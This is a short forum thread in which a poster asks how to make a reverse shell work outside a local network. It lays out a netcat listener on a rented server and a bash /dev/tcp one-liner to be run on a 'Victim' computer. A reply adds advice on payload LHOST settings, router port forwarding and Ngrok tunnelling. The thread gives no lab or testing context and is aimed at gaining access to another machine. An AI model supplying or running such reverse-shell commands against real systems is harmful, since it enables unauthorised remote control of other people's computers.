Forum Thread: How Can I Make a Reverse Shell Not Need to Be on LAN?

Could I

1.
buy / get a free server address.
2.
SSH into the server.
3.
run 'nc -l 1337'.
4.
Get a different computer (Victim) to run 'bash -i >& /dev/tcp/MyNewSeversIP/1337 0>&1'
5.
Have access to the computer without needing to configure my router.

If so, how would I do it?

1 Response

I'm not sure if your example will work but here is a solution. Use your public IP address for your payload Lhost. Then port forward your local IP address in your router. If you can't port forward, I've heard of (but I've personally never used) Ngrok might work.

Share Your Thoughts

  • Hot
  • Active